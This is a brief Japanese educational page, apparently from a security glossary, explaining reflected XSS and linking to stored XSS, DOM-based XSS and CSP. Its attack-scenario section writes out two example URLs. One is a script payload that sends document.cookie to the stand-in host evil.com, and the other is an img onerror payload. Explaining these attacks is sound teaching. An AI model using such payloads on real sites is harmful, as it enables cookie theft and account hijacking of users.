反射型 - 反射型 XSS(Reflected XSS)
URL パラメータに含まれたスクリプトがサーバーのレスポンスに反映されて実行される攻撃。フィッシングメール経由で悪用されることが多い。
概念図
攻撃シナリオ
検索パラメータにスクリプトを埋め込んだ URL
bash
https://example.com/search?q=<script>document.location="https://evil.com/?c="+document.cookie</script>エラーメッセージ表示を悪用した反射型 XSS
bash
https://example.com/error?msg=<img src=x onerror=alert(1)>概要
反射型 XSS は、攻撃者が細工した URL をユーザーにクリックさせることで発動する。
URL のクエリパラメータに含まれた悪意あるスクリプトが、サーバー側でエスケープされずにレスポンスの HTML に埋め込まれ、ブラウザ上で実行される。
格納型と異なりデータベースには保存されないため、被害は URL をクリックしたユーザーに限定される。
ただしフィッシングメールや SNS で URL を拡散されると大規模な被害につながる。
関連トピック
XSS(クロスサイトスクリプティング)- 悪意あるスクリプトを Web ページに注入する攻撃手法。反射型・格納型・DOM Based の 3 種類がある。 格納型 XSS(Stored XSS)- データベースに保存された悪意あるスクリプトが、他のユーザーがページを閲覧した際に実行される攻撃。影響範囲が広く、最も危険な XSS。 DOM Based XSS- サーバーを経由せず、クライアントサイドの JavaScript が DOM を不適切に操作することで発生する XSS。innerHTML や document.write が原因。 Content Security Policy (CSP)- ブラウザが読み込めるリソースの種類やオリジンを制限する HTTP ヘッダ。XSS の被害を大幅に軽減できる。 